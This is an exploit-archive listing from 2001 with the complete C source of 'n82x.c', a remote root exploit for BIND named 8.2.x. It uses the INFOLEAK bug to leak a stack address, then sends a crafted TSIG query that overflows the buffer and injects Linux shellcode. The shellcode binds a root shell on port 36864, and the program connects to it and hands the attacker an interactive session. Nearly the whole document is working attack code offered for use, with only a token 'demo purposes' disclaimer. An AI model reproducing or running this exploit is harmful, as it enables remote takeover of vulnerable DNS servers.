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n82x.c

n82x.c
Posted Mar 19, 2001
Authored by Ix, Lucysoft

Named v8.2.x remote root exploit - Uses the tsig bug. Only includes linux shellcode.

tags | exploit, remote, root, shellcode
systems | linux
SHA-256 | d5e607468e5db97a21778c60ad95951a67c88c8da40feb92ff587708b01bae99

n82x.c

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/* 
* lame named 8.2.x remote exploit by
*
* Ix [adresadeforward@yahoo.com] (the master of jmpz),
* lucysoft [lucysoft@hotmail.com] (the master of queries)
*
* this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html)
* linux only shellcode
* this is only for demo purposes, we are not responsable in any way for what you do with this code.
*
* flamez - canaris
* greetz - blizzard, netman.
* creditz - anathema <anathema@hack.co.za> for the original shellcode
* - additional code ripped from statdx exploit by ron1n
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define max(a,b) ((a)>(b)?(a):(b))

#define BUFFSIZE 4096

int argevdisp1, argevdisp2;

char shellcode[] =
/* main: */
"\xeb\x7b" /* jmp callz */ // 2 - 2
/* start: */
"\x5e" /* popl %esi */ // 1 - 3

/* socket() */
"\x29\xc0" /* subl %eax, %eax */ // 2 - 5
"\x89\x46\x10" /* movl %eax, 0x10(%esi) */ // 3 - 8
"\x40" /* incl %eax */ // 1 - 9
"\x89\xc3" /* movl %eax, %ebx */ // 2 - 11
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ // 3 - 14
"\x40" /* incl %eax */ // 1 - 15
"\x89\x46\x08" /* movl %eax, 0x08(%esi) */ // 3 - 18
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 21
"\xb0\x66" /* movb $0x66, %al */ // 2 - 23
"\xcd\x80" /* int $0x80 */ // 2 - 25

/* bind() */
"\x43" /* incl %ebx */ // 1 - 26
"\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */ // 4 - 30
"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */ // 4 - 34
"\x88\x46\x08" /* movb %al, 0x08(%esi) */ // 3 - 37
"\x29\xc0" /* subl %eax, %eax */ // 2 - 39
"\x89\xc2" /* movl %eax, %edx */ // 2 - 41
"\x89\x46\x18" /* movl %eax, 0x18(%esi) */ // 3 - 44
"\xb0\x90" /* movb $0x90, %al */ // 2 - 46
"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */ // 4 - 50
"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */ // 3 - 53
"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */ // 3 - 56
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 59

// 2 jump + 1 + 5 free + 1

"\xb0\x66" /* movb $0x66, %al */ // 2 - 61
"\xcd\x80" /* int $0x80 */ // 2 - 2

/* listen() */
"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */
"\x43" /* incl %ebx */
"\x43" /* incl %ebx */
"\xb0\x66" /* movb $0x66, %al */
"\xcd\x80" /* int $0x80 */

/* accept() */
"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */ // 3 - 5
"\x89\x56\x10" /* movl %edx, 0x10(%esi) */ // 3 - 8
"\xb0\x66" /* movb $0x66, %al */ // 2 - 10
"\x43" /* incl %ebx */ // 1 - 11
"\xcd\x80" /* int $0x80 */ // 1 - 12

/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3" /* xchgb %al, %bl */ // 2 - 14
"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 16
"\x29\xc9" /* subl %ecx, %ecx */ // 2 - 18
"\xcd\x80" /* int $0x80 */ // 2 - 20
"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 22
"\x41" /* incl %ecx */ // 1 - 23
"\xcd\x80" /* int $0x80 */ // 2 - 25
"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 27
"\x41" /* incl %ecx */ // 1 - 28
"\xcd\x80" /* int $0x80 */ // 2 - 30

/* execve() */
"\x88\x56\x07" /* movb %dl, 0x07(%esi) */ // 3 - 33
"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */ // 3 - 36
"\x87\xf3" /* xchgl %esi, %ebx */ // 2 - 38
"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */ // 3 - 41
"\xb0\x0b" /* movb $0x0b, %al */ // 2 - 44
"\xcd\x80" /* int $0x80 */ // 2 = 46

"\x90\x90\x90\x90\x90\x90\x90"

// 2 jump + 1 + 5 free + 1

/* callz: */
"\xe8\x70\xff\xff\xff" /* call start */ // 5 - 51
"/bin/sh\0"; // 8 - 59


// {0, "8.2.2-P5 - Redhat 6.2 (Zoot) boot", 0xbffffa88, 28, 0x080d7cd0, 0x40111704, 0x330, 6},

unsigned long resolve_host(char* host)
{
long res;
struct hostent* he;

if (0 > (res = inet_addr(host)))
{
if (!(he = gethostbyname(host)))
return(0);
res = *(unsigned long*)he->h_addr;
}
return(res);
}

void
runshell(int sockd)
{
char buff[1024];
int fmax, ret;
fd_set fds;

fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "uname -a; id;\n", 15, 0);

for(;;)
{

FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);

if(select(fmax, &fds, NULL, NULL, NULL) < 0)
{
exit(EXIT_FAILURE);
}

if(FD_ISSET(sockd, &fds))
{
bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
{
exit(EXIT_FAILURE);
}
if(!ret)
{
fprintf(stderr, "Connection closed\n");
exit(EXIT_FAILURE);
}
write(fileno(stdout), buff, ret);
}

if(FD_ISSET(fileno(stdin), &fds))
{
bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
if(send(sockd, buff, ret, 0) != ret)
{
fprintf(stderr, "Transmission loss\n");
exit(EXIT_FAILURE);
}
}
}
}


connection(struct sockaddr_in host)
{
int sockd;

host.sin_port = htons(36864);

printf("connecting..\n");
usleep(2000);

if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
exit(EXIT_FAILURE);
}

if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
{
printf("wait for your shell..\n");
usleep(500);
runshell(sockd);
}
else
{
printf("error: named not vulnerable or wrong offsets used\n");
}

close(sockd);
}




int infoleak_qry(char* buff)
{
HEADER* hdr;
int n, k;
char* ptr;
int qry_space = 12;
int dummy_names = 7;
int evil_size = htons(0xff);

memset(buff, 0, BUFFSIZE);
hdr = (HEADER*)buff;

hdr->id = htons(0xbeef);
hdr->opcode = IQUERY;
hdr->rd = 1;
hdr->ra = 1;
hdr->qdcount = htons(0);
hdr->nscount = htons(0);
hdr->ancount = htons(1);
hdr->arcount = htons(0);


ptr = buff + sizeof(HEADER);

n = 62;

for (k = 0; k < dummy_names; k++)
{
*ptr++ = n;
ptr += n;

}

ptr += INT16SZ;

PUTSHORT(htons(1/*ns_t_a*/), ptr); /* type */
PUTSHORT(htons(T_A), ptr); /* class */
PUTLONG(htons(1), ptr); /* ttl */

PUTSHORT(evil_size, ptr); /* our *evil* size */

return(ptr - buff + qry_space);

}



int evil_query(char* buff, int offset)
{
int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
HEADER* hdr;
char *ptr;
int k, bufflen;
u_int n, m;
u_short s;
int i;
int shelloff, shellstarted;
int towrite, ourpack;
int n_dummy_rrs = 7;

shelladdr = offset - 0x200;

lameaddr = shelladdr + 0x330;

ourpack = offset - 0x250 + 2;
towrite = (offset & ~0xff) - ourpack - 6;

printf("# %x newebp\n", offset & ~0xff);
printf("# %x towrite\n", towrite);


rroffsetidx = towrite / 70;
offset0 = towrite - rroffsetidx * 70;

printf("+ %x rr recidx\n", rroffsetidx);
printf("+ %x offset\n", offset0);

if ((offset0 > 53) || (rroffsetidx > 6))
{
printf("could not write our data in buffer\n");
return(-1);
}

rrshellidx = 1;
deplshellcode = 2;

hdr = (HEADER*)buff;

memset(buff, 0, BUFFSIZE);

/* complete the header */

hdr->id = htons(0xdead);
hdr->opcode = QUERY;
hdr->rd = 1;
hdr->ra = 1;
hdr->qdcount = htons(n_dummy_rrs);
hdr->ancount = htons(0);
hdr->arcount = htons(1);

ptr = buff + sizeof(HEADER);

shellstarted = 0;
shelloff = 0;

n = 63;
for (k = 0; k < n_dummy_rrs; k++)
{
// printf("* rr: %d\n", k);
*ptr++ = (char)n;

for(i = 0; i < n-2; i++)
{
if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
{
printf("* injecting shellcode\n", k);
shellstarted = 1;
}

if ((k == rroffsetidx) && (i == offset0 + 0))
{
printf("# %x stackfrm\n", lameaddr);
//caller's frame
*ptr++ = lameaddr & 0x000000ff;
i++;
*ptr++ = (lameaddr & 0x0000ff00) >> 8;
i++;
*ptr++ = (lameaddr & 0x00ff0000) >> 16;
i++;
*ptr++ = (lameaddr & 0xff000000) >> 24;
}
else if ((k == rroffsetidx) && (i == offset0 + 8))
{
printf("# args %x, %x\n", argevdisp1, argevdisp2);
//evDispatch args
*ptr++ = argevdisp1 & 0x000000ff;
i++;
*ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
i++;
*ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
i++;
*ptr++ = (argevdisp1 & 0xff000000) >> 24;
i++;
*ptr++ = argevdisp2 & 0x000000ff;
i++;
*ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
i++;
*ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
i++;
*ptr++ = (argevdisp2 & 0xff000000) >> 24;
} else
if ((k == rroffsetidx) && (i == offset0 + 4))
{
printf("# %x shellcode\n", shelladdr);
//shellcode
*ptr++ = shelladdr & 0x000000ff;
i++;
*ptr++ = (shelladdr & 0x0000ff00) >> 8;
i++;
*ptr++ = (shelladdr & 0x00ff0000) >> 16;
i++;
*ptr++ = (shelladdr & 0xff000000) >> 24;
}
else
{
if (shellstarted)
{
*ptr++ = shellcode[shelloff++];
}
else
{
*ptr++ = i;
}
}
}

*ptr++ = 0xeb;

if (k == 0)
{
*ptr++ = 0x09; //jmp 3

m = 2;

*ptr++ = (char)m;
for(i = 0; i < m; i++)
{
*ptr++ = i;
}
}
else
{
*ptr++ = 0x07; //jmp 1
}

*ptr++ = 0xc0; /*NS_CMPRSFLGS*/

ptr += 5;
}

s = htons(0xfa) /* ns_t_tsig */;
PUTLONG(s, ptr);

for (k = 0; k < 1; k++)
{
*ptr++ = 0x90;
}

bufflen = ptr - buff;
return(bufflen);
}


long xtract_offset(char* buff)
{
long ret, idx, now;

idx = 0x214;
now = 0;

ret = *((long*)&buff[idx]);
if ((ret > 0xbfff0000) && (ret < 0xc0000000))
{
now = 1;
}

while ((idx < 0x400) && (!now || !((ret > 0xbfff0000) && (ret < 0xc0000000))))
{
idx += 4;
ret = *((long*)&buff[idx]);
if (ret == 1)
{
now = 1;
}
}

argevdisp1 = 0x080d7cd0;
argevdisp2 = *((long*)&buff[0x264]);

return(ret);
}




int main(int argc, char* argv[])
{
struct sockaddr_in sa;
int sock;
long address;
char buff[BUFFSIZE];
int len, i;
long offset;
socklen_t reclen;

printf("named 8.2.x (< 8.2.3-REL) remote root exploit by LucySoft, Ix\n\n");

address = 0;
if (argc < 2)
{
printf("usage : %s host\n", argv[0]);

return(-1);
}

if (!(address = resolve_host(argv[1])))
{
printf("unable to resolve %s, try using an IP address\n", argv[1]);
return(-1);
}

sa.sin_family = AF_INET;

if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
{
return(-1);
}

sa.sin_family = AF_INET;
sa.sin_port = htons(53);
sa.sin_addr.s_addr= address;


len = infoleak_qry(buff);
len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
if (len < 0)
{
printf("unable to send iquery\n");
return(-1);
}

reclen = sizeof(sa);
len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
if (len < 0)
{
printf("unable to receive iquery answer\n");
return(-1);
}
printf("iquery resp len = %d\n", len);

offset = xtract_offset(buff);
printf("retrieved stack offset = %x\n", offset);


len = evil_query(buff, offset);

sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));

if (0 > close(sock))
{
return(-1);
}

connection(sa);

return(0);
}
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